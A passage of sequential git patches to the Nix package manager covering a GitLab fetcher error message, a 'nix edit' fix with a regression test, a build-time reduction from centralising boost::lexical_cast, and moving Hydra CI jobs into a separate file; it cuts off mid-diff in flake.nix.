/tmp/inst/bin/nix flake lock --override-input nixpkgs gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent

warning: unknown experimental feature 'repl-flake'
error:
       … while updating the lock file of flake 'git+file:///home/joerg/git/nix?ref=refs/heads/master&rev=62693c2c37c8edd92f95114eb1387b461fc671df'

       … while updating the flake input 'nixpkgs'

       … while fetching the input 'gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent'

       error: No commits returned by GitLab API -- does the git ref really exist?

Adapted from: https://git.lix.systems/lix-project/lix/commit/3df013597d7a2b5e400839e6625c05bd47de4dca
---
 src/libfetchers/github.cc | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc
index d62a7482e3b..267e8607fcf 100644
--- a/src/libfetchers/github.cc
+++ b/src/libfetchers/github.cc
@@ -433,9 +433,15 @@ struct GitLabInputScheme : GitArchiveInputScheme
                 store->toRealPath(
                     downloadFile(store, url, "source", headers).storePath)));
 
-        return RefInfo {
-            .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
-        };
+        if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) {
+          return RefInfo {
+              .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
+          };
+        } if (json.is_array() && json.size() == 0) {
+            throw Error("No commits returned by GitLab API -- does the git ref really exist?");
+        } else {
+            throw Error("Unexpected response received from GitLab: %s", json);
+        }
     }
 
     DownloadUrl getDownloadUrl(const Input & input) const override

From e1a817fb1bd8e622172800258000820d7d0c8092 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Fri, 31 May 2024 10:38:55 +0200
Subject: [PATCH 222/528] fix nix edit in pure mode

FilteringSourceAccessor was not delegating getPhysicalPath to its inner accessor.
---
 src/libfetchers/filtering-source-accessor.cc | 6 ++++++
 src/libfetchers/filtering-source-accessor.hh | 2 ++
 2 files changed, 8 insertions(+)

diff --git a/src/libfetchers/filtering-source-accessor.cc b/src/libfetchers/filtering-source-accessor.cc
index dfd9e536d20..d4557b6d4dd 100644
--- a/src/libfetchers/filtering-source-accessor.cc
+++ b/src/libfetchers/filtering-source-accessor.cc
@@ -2,6 +2,12 @@
 
 namespace nix {
 
+std::optional<std::filesystem::path> FilteringSourceAccessor::getPhysicalPath(const CanonPath & path)
+{
+    checkAccess(path);
+    return next->getPhysicalPath(prefix / path);
+}
+
 std::string FilteringSourceAccessor::readFile(const CanonPath & path)
 {
     checkAccess(path);
diff --git a/src/libfetchers/filtering-source-accessor.hh b/src/libfetchers/filtering-source-accessor.hh
index 9ec7bc21f0e..1f8d84e531e 100644
--- a/src/libfetchers/filtering-source-accessor.hh
+++ b/src/libfetchers/filtering-source-accessor.hh
@@ -30,6 +30,8 @@ struct FilteringSourceAccessor : SourceAccessor
         displayPrefix.clear();
     }
 
+    std::optional<std::filesystem::path> getPhysicalPath(const CanonPath & path) override;
+
     std::string readFile(const CanonPath & path) override;
 
     bool pathExists(const CanonPath & path) override;

From 69c159811ea280836d01f2968ae1c7bf3bda1a94 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Fri, 31 May 2024 11:04:50 +0200
Subject: [PATCH 223/528] add regression test for nix edit

---
 tests/functional/flakes/edit.sh | 13 +++++++++++++
 tests/functional/local.mk       |  1 +
 tests/functional/simple.nix     |  1 +
 3 files changed, 15 insertions(+)
 create mode 100755 tests/functional/flakes/edit.sh

diff --git a/tests/functional/flakes/edit.sh b/tests/functional/flakes/edit.sh
new file mode 100755
index 00000000000..0fdf8b95a0b
--- /dev/null
+++ b/tests/functional/flakes/edit.sh
@@ -0,0 +1,13 @@
+#!/usr/bin/env bash
+
+source ./common.sh
+
+requireGit
+
+flake1Dir=$TEST_ROOT/flake1
+
+createGitRepo "$flake1Dir"
+createSimpleGitFlake "$flake1Dir"
+
+export EDITOR=cat
+nix edit "$flake1Dir#" | grepQuiet simple.builder.sh
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index a94c5712c59..5be2cddb27e 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -2,6 +2,7 @@ nix_tests = \
   test-infra.sh \
   flakes/flakes.sh \
   flakes/develop.sh \
+  flakes/edit.sh \
   flakes/run.sh \
   flakes/mercurial.sh \
   flakes/circular.sh \
diff --git a/tests/functional/simple.nix b/tests/functional/simple.nix
index 4223c0f23a5..2035ca294cc 100644
--- a/tests/functional/simple.nix
+++ b/tests/functional/simple.nix
@@ -5,4 +5,5 @@ mkDerivation {
   builder = ./simple.builder.sh;
   PATH = "";
   goodPath = path;
+  meta.position = "${__curPos.file}:${toString __curPos.line}";
 }

From 473d2d56fc2ef401cccd17ae736330b50c168c4a Mon Sep 17 00:00:00 2001
From: Jade Lovelace <lix@jade.fyi>
Date: Wed, 29 May 2024 21:12:34 -0700
Subject: [PATCH 224/528] Remove 100s of CPU time (10%) from build times (1465s
 -> 1302s)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Result's from Mic92's framework 13th Gen Intel Core i7-1360P:

Before: 3595.92s user 183.01s system 1360% cpu 4:37.74 total
After: 3486.07s user 168.93s system 1354% cpu 4:29.79 total

I saw that boost/lexical_cast was costing about 100s in CPU time on our
compiles. We can fix this trivially by doing explicit template
instantiation in exactly one place and eliminating all other includes of
it, which is a code improvement anyway by hiding the boost.

Before:
```
lix/lix2 » ClangBuildAnalyzer --analyze buildtimeold.bin
Analyzing build trace from 'buildtimeold.bin'...
**** Time summary:
Compilation (551 times):
  Parsing (frontend):         1465.3 s
  Codegen & opts (backend):   1110.9 s

<snip>

**** Expensive headers:
178153 ms: ../src/libcmd/installable-value.hh (included 52 times, avg 3426 ms), included via:
  40x: command.hh
  5x: command-installable-value.hh
  3x: installable-flake.hh
  2x: <direct include>
  2x: installable-attr-path.hh

176217 ms: ../src/libutil/error.hh (included 246 times, avg 716 ms), included via:
  36x: command.hh installable-value.hh installables.hh derived-path.hh config.hh experimental-features.hh
  12x: globals.hh config.hh experimental-features.hh
  11x: file-system.hh file-descriptor.hh
  6x: serialise.hh strings.hh
  6x: <direct include>
  6x: archive.hh serialise.hh strings.hh
  ...

173243 ms: ../src/libstore/store-api.hh (included 152 times, avg 1139 ms), included via:
  55x: <direct include>
  39x: command.hh installable-value.hh installables.hh
  7x: libexpr.hh
  4x: local-store.hh
  4x: command-installable-value.hh installable-value.hh installables.hh
  3x: binary-cache-store.hh
  ...

170482 ms: ../src/libutil/serialise.hh (included 201 times, avg 848 ms), included via:
  37x: command.hh installable-value.hh installables.hh built-path.hh realisation.hh hash.hh
  14x: store-api.hh nar-info.hh hash.hh
  11x: <direct include>
  7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh
  7x: libexpr.hh value.hh source-path.hh archive.hh
  6x: fetchers.hh hash.hh
  ...

169397 ms: ../src/libcmd/installables.hh (included 53 times, avg 3196 ms), included via:
  40x: command.hh installable-value.hh
  5x: command-installable-value.hh installable-value.hh
  3x: installable-flake.hh installable-value.hh
  2x: <direct include>
  1x: installable-derived-path.hh
  1x: installable-value.hh
  ...

159740 ms: ../src/libutil/strings.hh (included 221 times, avg 722 ms), included via:
  37x: command.hh installable-value.hh installables.hh built-path.hh realisation.hh hash.hh serialise.hh
  19x: <direct include>
  14x: store-api.hh nar-info.hh hash.hh serialise.hh
  11x: serialise.hh
  7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh serialise.hh
  7x: libexpr.hh value.hh source-path.hh archive.hh serialise.hh
  ...

156796 ms: ../src/libcmd/command.hh (included 51 times, avg 3074 ms), included via:
  42x: <direct include>
  7x: command-installable-value.hh
  2x: installable-attr-path.hh

150392 ms: ../src/libutil/types.hh (included 251 times, avg 599 ms), included via:
  36x: command.hh installable-value.hh installables.hh path.hh
  11x: file-system.hh
  10x: globals.hh
  6x: fetchers.hh
  6x: serialise.hh strings.hh error.hh
  5x: archive.hh
  ...

133101 ms: /nix/store/644b90j1vms44nr18yw3520pzkrg4dd1-boost-1.81.0-dev/include/boost/lexical_cast.hpp (included 226 times, avg 588 ms), included via
:
  37x: command.hh installable-value.hh installables.hh built-path.hh realisation.hh hash.hh serialise.hh strings.hh
  19x: file-system.hh
  11x: store-api.hh nar-info.hh hash.hh serialise.hh strings.hh
  7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh serialise.hh strings.hh
  7x: libexpr.hh value.hh source-path.hh archive.hh serialise.hh strings.hh
  6x: eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh serialise.hh strings.hh
  ...

132887 ms: /nix/store/h2abv2l8irqj942i5rq9wbrj42kbsh5y-gcc-12.3.0/include/c++/12.3.0/memory (included 262 times, avg 507 ms), included via:
  36x: command.hh installable-value.hh installables.hh path.hh types.hh ref.hh
  16x: gtest.h
  11x: file-system.hh types.hh ref.hh
  10x: globals.hh types.hh ref.hh
  10x: json.hpp
  6x: serialise.hh
  ...

  done in 0.6s.
```

After:
```
lix/lix2 » maintainers/buildtime_report.sh build
Processing all files and saving to '/home/jade/lix/lix2/maintainers/../buildtime.bin'...
  done in 0.6s. Run 'ClangBuildAnalyzer --analyze /home/jade/lix/lix2/maintainers/../buildtime.bin' to analyze it.
Analyzing build trace from '/home/jade/lix/lix2/maintainers/../buildtime.bin'...
**** Time summary:
Compilation (551 times):
  Parsing (frontend):         1302.1 s
  Codegen & opts (backend):    956.3 s

<snip>

**** Expensive headers:
178145 ms: ../src/libutil/error.hh (included 246 times, avg 724 ms), included via:
  36x: command.hh installable-value.hh installables.hh derived-path.hh config.hh experimental-features.hh
  12x: globals.hh config.hh experimental-features.hh
  11x: file-system.hh file-descriptor.hh
  6x: <direct include>
  6x: serialise.hh strings.hh
  6x: fetchers.hh hash.hh serialise.hh strings.hh
  ...

154043 ms: ../src/libcmd/installable-value.hh (included 52 times, avg 2962 ms), included via:
  40x: command.hh
  5x: command-installable-value.hh
  3x: installable-flake.hh
  2x: <direct include>
  2x: installable-attr-path.hh

153593 ms: ../src/libstore/store-api.hh (included 152 times, avg 1010 ms), included via:
  55x: <direct include>
  39x: command.hh installable-value.hh installables.hh
  7x: libexpr.hh
  4x: local-store.hh
  4x: command-installable-value.hh installable-value.hh installables.hh
  3x: binary-cache-store.hh
  ...

149948 ms: ../src/libutil/types.hh (included 251 times, avg 597 ms), included via:
  36x: command.hh installable-value.hh installables.hh path.hh
  11x: file-system.hh
  10x: globals.hh
  6x: fetchers.hh
  6x: serialise.hh strings.hh error.hh
  5x: archive.hh
  ...

144560 ms: ../src/libcmd/installables.hh (included 53 times, avg 2727 ms), included via:
  40x: command.hh installable-value.hh
  5x: command-installable-value.hh installable-value.hh
  3x: installable-flake.hh installable-value.hh
  2x: <direct include>
  1x: installable-value.hh
  1x: installable-derived-path.hh
  ...

136585 ms: ../src/libcmd/command.hh (included 51 times, avg 2678 ms), included via:
  42x: <direct include>
  7x: command-installable-value.hh
  2x: installable-attr-path.hh

133394 ms: /nix/store/h2abv2l8irqj942i5rq9wbrj42kbsh5y-gcc-12.3.0/include/c++/12.3.0/memory (included 262 times, avg 509 ms), included via:
  36x: command.hh installable-value.hh installables.hh path.hh types.hh ref.hh
  16x: gtest.h
  11x: file-system.hh types.hh ref.hh
  10x: globals.hh types.hh ref.hh
  10x: json.hpp
  6x: serialise.hh
  ...

89315 ms: ../src/libstore/derived-path.hh (included 178 times, avg 501 ms), included via:
  37x: command.hh installable-value.hh installables.hh
  25x: store-api.hh realisation.hh
  7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh context.hh
  6x: eval.hh attr-set.hh nixexpr.hh value.hh context.hh
  6x: libexpr.hh value.hh context.hh
  6x: shared.hh
  ...

87347 ms: /nix/store/h2abv2l8irqj942i5rq9wbrj42kbsh5y-gcc-12.3.0/include/c++/12.3.0/ostream (included 273 times, avg 319 ms), included via:
  35x: command.hh installable-value.hh installables.hh path.hh types.hh ref.hh memory unique_ptr.h
  12x: regex sstream istream
  10x: file-system.hh types.hh ref.hh memory unique_ptr.h
  10x: gtest.h memory unique_ptr.h
  10x: globals.hh types.hh ref.hh memory unique_ptr.h
  6x: fetchers.hh types.hh ref.hh memory unique_ptr.h
  ...

85249 ms: ../src/libutil/config.hh (included 213 times, avg 400 ms), included via:
  37x: command.hh installable-value.hh installables.hh derived-path.hh
  20x: globals.hh
  20x: logging.hh
  16x: store-api.hh logging.hh
  6x: <direct include>
  6x: eval.hh attr-set.hh nixexpr.hh value.hh context.hh derived-path.hh
  ...

  done in 0.5s.
```

Adapated from https://git.lix.systems/lix-project/lix/commit/18aa3e1d570b4ecbb9962376e5fba5757dad8da9
---
 src/libexpr/eval.cc                |  2 +-
 src/libexpr/lexer.l                |  9 +++----
 src/libexpr/nixexpr.cc             |  1 +
 src/libexpr/primops.cc             |  1 +
 src/libexpr/print.cc               |  1 +
 src/libmain/progress-bar.cc        |  1 +
 src/libstore/binary-cache-store.cc |  1 +
 src/libstore/daemon.cc             |  2 ++
 src/libstore/machines.cc           |  2 +-
 src/libutil/current-process.cc     |  1 +
 src/libutil/file-system.hh         |  2 --
 src/libutil/logging.cc             |  1 +
 src/libutil/processes.hh           |  2 --
 src/libutil/util.cc                | 39 ++++++++++++++++++++++++++++++
 src/libutil/util.hh                | 21 ++--------------
 src/nix-env/user-env.cc            |  3 ++-
 src/nix/develop.cc                 |  1 +
 17 files changed, 59 insertions(+), 31 deletions(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index d7e3a2cdb0b..c1dadeee087 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -28,13 +28,13 @@
 #include <algorithm>
 #include <chrono>
 #include <iostream>
+#include <sstream>
 #include <cstring>
 #include <optional>
 #include <unistd.h>
 #include <sys/time.h>
 #include <fstream>
 #include <functional>
-#include <iostream>
 
 #include <nlohmann/json.hpp>
 #include <boost/container/small_vector.hpp>
diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l
index ee2b6b80790..8c0f9d1f2f7 100644
--- a/src/libexpr/lexer.l
+++ b/src/libexpr/lexer.l
@@ -20,8 +20,6 @@
 #pragma clang diagnostic ignored "-Wunneeded-internal-declaration"
 #endif
 
-#include <boost/lexical_cast.hpp>
-
 #include "nixexpr.hh"
 #include "parser-tab.hh"
 
@@ -129,9 +127,10 @@ or          { return OR_KW; }
 
 {ID}        { yylval->id = {yytext, (size_t) yyleng}; return ID; }
 {INT}       { errno = 0;
-              try {
-                  yylval->n = boost::lexical_cast<int64_t>(yytext);
-              } catch (const boost::bad_lexical_cast &) {
+              std::optional<int64_t> numMay = string2Int<int64_t>(yytext);
+              if (numMay.has_value()) {
+                  yylval->n = *numMay;
+              } else {
                   throw ParseError(ErrorInfo{
                       .msg = HintFmt("invalid integer '%1%'", yytext),
                       .pos = state->positions[CUR_POS],
diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc
index c1e2b044882..44198a25238 100644
--- a/src/libexpr/nixexpr.cc
+++ b/src/libexpr/nixexpr.cc
@@ -6,6 +6,7 @@
 #include "print.hh"
 
 #include <cstdlib>
+#include <sstream>
 
 namespace nix {
 
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 1b1a9be3d02..7371bd488f0 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -26,6 +26,7 @@
 
 #include <algorithm>
 #include <cstring>
+#include <sstream>
 #include <regex>
 
 #ifndef _WIN32
diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index d53fadac75a..920490cfad4 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -1,5 +1,6 @@
 #include <limits>
 #include <unordered_set>
+#include <sstream>
 
 #include "print.hh"
 #include "ansicolor.hh"
diff --git a/src/libmain/progress-bar.cc b/src/libmain/progress-bar.cc
index ce45eae2ba1..bb4c52ef7ea 100644
--- a/src/libmain/progress-bar.cc
+++ b/src/libmain/progress-bar.cc
@@ -7,6 +7,7 @@
 #include <atomic>
 #include <map>
 #include <thread>
+#include <sstream>
 #include <iostream>
 #include <chrono>
 
diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc
index 5153ca64fb1..56e47697c96 100644
--- a/src/libstore/binary-cache-store.cc
+++ b/src/libstore/binary-cache-store.cc
@@ -18,6 +18,7 @@
 #include <future>
 #include <regex>
 #include <fstream>
+#include <sstream>
 
 #include <nlohmann/json.hpp>
 
diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc
index eb6a4e69039..4e231ca99eb 100644
--- a/src/libstore/daemon.cc
+++ b/src/libstore/daemon.cc
@@ -19,6 +19,8 @@
 # include "monitor-fd.hh"
 #endif
 
+#include <sstream>
+
 namespace nix::daemon {
 
 Sink & operator << (Sink & sink, const Logger::Fields & fields)
diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc
index 20f24e8833b..256cf918892 100644
--- a/src/libstore/machines.cc
+++ b/src/libstore/machines.cc
@@ -148,7 +148,7 @@ static Machine parseBuilderLine(const std::set<std::string> & defaultSystems, co
     };
 
     auto parseFloatField = [&](size_t fieldIndex) {
-        const auto result = string2Int<float>(tokens[fieldIndex]);
+        const auto result = string2Float<float>(tokens[fieldIndex]);
         if (!result) {
             throw FormatError("bad machine specification: failed to convert column #%lu in a row: '%s' to 'float'", fieldIndex, line);
         }
diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc
index 9efb68d47a2..6ca48220d21 100644
--- a/src/libutil/current-process.cc
+++ b/src/libutil/current-process.cc
@@ -7,6 +7,7 @@
 #include "file-system.hh"
 #include "processes.hh"
 #include "signals.hh"
+#include <math.h>
 
 #ifdef __APPLE__
 # include <mach-o/dyld.h>
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 933e88441e7..c6b6ecedbb7 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -20,8 +20,6 @@
 #endif
 #include <signal.h>
 
-#include <boost/lexical_cast.hpp>
-
 #include <atomic>
 #include <functional>
 #include <map>
diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc
index 2511c88499f..5fa01f0d969 100644
--- a/src/libutil/logging.cc
+++ b/src/libutil/logging.cc
@@ -8,6 +8,7 @@
 #include "position.hh"
 
 #include <atomic>
+#include <sstream>
 #include <nlohmann/json.hpp>
 #include <iostream>
 
diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh
index 9d5367b024c..168fcaa5559 100644
--- a/src/libutil/processes.hh
+++ b/src/libutil/processes.hh
@@ -12,8 +12,6 @@
 #include <unistd.h>
 #include <signal.h>
 
-#include <boost/lexical_cast.hpp>
-
 #include <atomic>
 #include <functional>
 #include <map>
diff --git a/src/libutil/util.cc b/src/libutil/util.cc
index 103ce4232b3..99fbcaf9daa 100644
--- a/src/libutil/util.cc
+++ b/src/libutil/util.cc
@@ -7,6 +7,8 @@
 #include <regex>
 
 #include <sodium.h>
+#include <boost/lexical_cast.hpp>
+#include <stdint.h>
 
 #ifdef NDEBUG
 #error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)."
@@ -111,6 +113,43 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites)
     return s;
 }
 
+template<class N>
+std::optional<N> string2Int(const std::string_view s)
+{
+    if (s.substr(0, 1) == "-" && !std::numeric_limits<N>::is_signed)
+        return std::nullopt;
+    try {
+        return boost::lexical_cast<N>(s.data(), s.size());
+    } catch (const boost::bad_lexical_cast &) {
+        return std::nullopt;
+    }
+}
+
+// Explicitly instantiated in one place for faster compilation
+template std::optional<unsigned char>  string2Int<unsigned char>(const std::string_view s);
+template std::optional<unsigned short> string2Int<unsigned short>(const std::string_view s);
+template std::optional<unsigned int> string2Int<unsigned int>(const std::string_view s);
+template std::optional<unsigned long> string2Int<unsigned long>(const std::string_view s);
+template std::optional<unsigned long long> string2Int<unsigned long long>(const std::string_view s);
+template std::optional<signed char> string2Int<signed char>(const std::string_view s);
+template std::optional<signed short> string2Int<signed short>(const std::string_view s);
+template std::optional<signed int> string2Int<signed int>(const std::string_view s);
+template std::optional<signed long> string2Int<signed long>(const std::string_view s);
+template std::optional<signed long long> string2Int<signed long long>(const std::string_view s);
+
+template<class N>
+std::optional<N> string2Float(const std::string_view s)
+{
+    try {
+        return boost::lexical_cast<N>(s.data(), s.size());
+    } catch (const boost::bad_lexical_cast &) {
+        return std::nullopt;
+    }
+}
+
+template std::optional<double> string2Float<double>(const std::string_view s);
+template std::optional<float> string2Float<float>(const std::string_view s);
+
 
 bool hasPrefix(std::string_view s, std::string_view prefix)
 {
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index 8b049875a89..0919f43c3a3 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -5,7 +5,6 @@
 #include "error.hh"
 #include "logging.hh"
 
-#include <boost/lexical_cast.hpp>
 
 #include <functional>
 #include <map>
@@ -102,16 +101,7 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites);
  * Parse a string into an integer.
  */
 template<class N>
-std::optional<N> string2Int(const std::string_view s)
-{
-    if (s.substr(0, 1) == "-" && !std::numeric_limits<N>::is_signed)
-        return std::nullopt;
-    try {
-        return boost::lexical_cast<N>(s.data(), s.size());
-    } catch (const boost::bad_lexical_cast &) {
-        return std::nullopt;
-    }
-}
+std::optional<N> string2Int(const std::string_view s);
 
 /**
  * Like string2Int(), but support an optional suffix 'K', 'M', 'G' or
@@ -141,14 +131,7 @@ N string2IntWithUnitPrefix(std::string_view s)
  * Parse a string into a float.
  */
 template<class N>
-std::optional<N> string2Float(const std::string_view s)
-{
-    try {
-        return boost::lexical_cast<N>(s.data(), s.size());
-    } catch (const boost::bad_lexical_cast &) {
-        return std::nullopt;
-    }
-}
+std::optional<N> string2Float(const std::string_view s);
 
 
 /**
diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc
index f7b091f8f56..5246b03e4cd 100644
--- a/src/nix-env/user-env.cc
+++ b/src/nix-env/user-env.cc
@@ -9,8 +9,9 @@
 #include "eval-inline.hh"
 #include "profiles.hh"
 #include "print-ambiguous.hh"
-#include <limits>
 
+#include <limits>
+#include <sstream>
 
 namespace nix {
 
diff --git a/src/nix/develop.cc b/src/nix/develop.cc
index 0363ca8294a..27287a1a87a 100644
--- a/src/nix/develop.cc
+++ b/src/nix/develop.cc
@@ -14,6 +14,7 @@
 
 #include <iterator>
 #include <memory>
+#include <sstream>
 #include <nlohmann/json.hpp>
 #include <algorithm>
 

From 5fde77b16610782506bc26d6706c5663b814db02 Mon Sep 17 00:00:00 2001
From: fricklerhandwerk <valentin@fricklerhandwerk.de>
Date: Fri, 31 May 2024 19:12:35 +0200
Subject: [PATCH 225/528] move Hydra jobs into a separate file

Co-Authored-By: Tom Bereknyei <tomberek@gmail.com>
---
 build/hydra.nix | 168 ++++++++++++++++++++++++++++++++++++++++++++++++
 flake.nix       | 165 ++++-------------------------------------------
 2 files changed, 182 insertions(+), 151 deletions(-)
 create mode 100644 build/hydra.nix

diff --git a/build/hydra.nix b/build/hydra.nix
new file mode 100644
index 00000000000..98054873d5e
--- /dev/null
+++ b/build/hydra.nix
@@ -0,0 +1,168 @@
+{ inputs
+, binaryTarball
+, forAllCrossSystems
+, forAllSystems
+, installScriptFor
+, lib
+, linux64BitSystems
+, nixpkgsFor
+, self
+, testNixVersions
+}:
+let
+  inherit (inputs) nixpkgs nixpkgs-regression;
+  inherit (lib) fileset;
+in
+{
+  hydraJobs = {
+    # Binary package for various platforms.
+    build = forAllSystems (system: self.packages.${system}.nix);
+
+    shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
+
+    buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static);
+
+    buildCross = forAllCrossSystems (crossSystem:
+      lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}"));
+
+    buildNoGc = forAllSystems (system:
+      self.packages.${system}.nix.override { enableGC = false; }
+    );
+
+    buildNoTests = forAllSystems (system:
+      self.packages.${system}.nix.override {
+        doCheck = false;
+        doInstallCheck = false;
+        installUnitTests = false;
+      }
+    );
+
+    # Toggles some settings for better coverage. Windows needs these
+    # library combinations, and Debian build Nix with GNU readline too.
+    buildReadlineNoMarkdown = forAllSystems (system:
+      self.packages.${system}.nix.override {
+        enableMarkdown = false;
+        readlineFlavor = "readline";
+      }
+    );
+
+    # Perl bindings for various platforms.
+    perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings);
+
+    # Binary tarball for various platforms, containing a Nix store
+    # with the closure of 'nix' package, and the second half of
+    # the installation script.
+    binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native);
+
+    binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system:
+      forAllCrossSystems (crossSystem:
+        binaryTarball
+          self.packages.${system}."nix-${crossSystem}"
+          nixpkgsFor.${system}.cross.${crossSystem}));
+
+    # The first half of the installation script. This is uploaded
+    # to https://nixos.org/nix/install. It downloads the binary
+    # tarball for the user's system and calls the second half of the
+    # installation script.
+    installerScript = installScriptFor [
+      # Native
+      self.hydraJobs.binaryTarball."x86_64-linux"
+      self.hydraJobs.binaryTarball."i686-linux"
+      self.hydraJobs.binaryTarball."aarch64-linux"
+      self.hydraJobs.binaryTarball."x86_64-darwin"
+      self.hydraJobs.binaryTarball."aarch64-darwin"
+      # Cross
+      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
+      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+      self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
+    ];
+    installerScriptForGHA = installScriptFor [
+      # Native
+      self.hydraJobs.binaryTarball."x86_64-linux"
+      self.hydraJobs.binaryTarball."x86_64-darwin"
+      # Cross
+      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
+      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+      self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
+    ];
+
+    # docker image with Nix inside
+    dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage);
+
+    # Line coverage analysis.
+    coverage = nixpkgsFor.x86_64-linux.native.nix.override {
+      pname = "nix-coverage";
+      withCoverageChecks = true;
+    };
+
+    # API docs for Nix's unstable internal C++ interfaces.
+    internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix {
+      inherit fileset;
+      doBuild = false;
+      enableInternalAPIDocs = true;
+    };
+
+    # API docs for Nix's C bindings.
+    external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix {
+      inherit fileset;
+      doBuild = false;
+      enableExternalAPIDocs = true;
+    };
+
+    # System tests.
+    tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // {
+
+      # Make sure that nix-env still produces the exact same result
+      # on a particular version of Nixpkgs.
+      evalNixpkgs =
+        let
+          inherit (nixpkgsFor.x86_64-linux.native) runCommand nix;
+        in
+        runCommand "eval-nixos" { buildInputs = [ nix ]; }
+          ''
+            type -p nix-env
+            # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593.
+            (
+              set -x
+              time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages
+              [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]]
+            )
+            mkdir $out
+          '';
+
+      nixpkgsLibTests =
+        forAllSystems (system:
+          import (nixpkgs + "/lib/tests/release.nix")
+            {
+              pkgs = nixpkgsFor.${system}.native;
+              nixVersions = [ self.packages.${system}.nix ];
+            }
+        );
+    };
+
+    metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" {
+      pkgs = nixpkgsFor.x86_64-linux.native;
+      nixpkgs = nixpkgs-regression;
+    };
+
+    installTests = forAllSystems (system:
+      let pkgs = nixpkgsFor.${system}.native; in
+      pkgs.runCommand "install-tests"
+        {
+          againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix;
+          againstCurrentUnstable =
+            # FIXME: temporarily disable this on macOS because of #3605.
+            if system == "x86_64-linux"
+            then testNixVersions pkgs pkgs.nix pkgs.nixUnstable
+            else null;
+          # Disabled because the latest stable version doesn't handle
+          # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work
+          # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable;
+        } "touch $out");
+
+    installerTests = import ../tests/installer {
+      binaryTarballs = self.hydraJobs.binaryTarball;
+      inherit nixpkgsFor;
+    };
+  };
+}
diff --git a/flake.nix b/flake.nix
index 6356eedc0eb..866dab00e52 100644
--- a/flake.nix
+++ b/flake.nix
@@ -232,157 +232,20 @@
       # 'nix.perl-bindings' packages.
       overlays.default = overlayFor (p: p.stdenv);
 
-      hydraJobs = {
-
-        # Binary package for various platforms.
-        build = forAllSystems (system: self.packages.${system}.nix);
-
-        shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
-
-        buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static);
-
-        buildCross = forAllCrossSystems (crossSystem:
-          lib.genAttrs ["x86_64-linux"] (system: self.packages.${system}."nix-${crossSystem}"));
-
